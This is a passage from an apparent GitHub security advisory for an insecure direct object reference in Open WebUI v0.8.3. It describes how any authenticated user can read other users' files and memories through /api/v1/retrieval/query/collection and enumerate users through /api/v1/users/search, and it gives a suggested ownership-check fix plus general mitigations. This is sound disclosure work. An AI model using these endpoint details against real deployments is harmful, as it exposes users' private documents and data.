\"documents\": [[\"Test PDF \\nabc \\nbcd\"]],\n \"metadatas\": [[{\n \"name\": \"Test PDF.pdf\",\n \"author\": \"Mariusz Maik\",\n \"created_by\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n \"file_id\": \"243bee10-49ad-466f-884b-67b6b3d74968\"\n }]]\n}\n```\n\n\u003cimg width=\"1413\" height=\"908\" alt=\"image\" src=\"https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596\" /\u003e\n\n### Impact\n- **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.\n- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.\n- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user \u2014 directly contradicting the official documentation.\n- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.\n\n### Suggested Fix\n\n**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**\n\n```python\nasync def query_collection_handler(\n request: Request,\n form_data: QueryCollectionsForm,\n user=Depends(get_verified_user),\n):\n for collection_name in form_data.collection_names:\n if collection_name.startswith(\"user-memory-\"):\n owner_id = collection_name.replace(\"user-memory-\", \"\")\n if owner_id != user.id and user.role != \"admin\":\n raise HTTPException(status_code=403, detail=\"Access denied\")\n elif collection_name.startswith(\"file-\"):\n file_id = collection_name.replace(\"file-\", \"\")\n # user_has_access_to_file \u2014 placeholder; verify file ownership\n # e.g. check if created_by matches user.id\n if not user_has_access_to_file(user.id, file_id):\n raise HTTPException(status_code=403, detail=\"Access denied\")\n```\n\n**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.\n\n### Disclosure\n\nAI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.",
"id": "GHSA-w9f8-gxf9-rhvw",
"modified": "2026-03-27T15:35:49Z",
"published": "2026-03-27T15:35:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29071"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI\u0027s Insecure Direct Object Reference (IDOR) allows access to other users\u0027 memories"
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.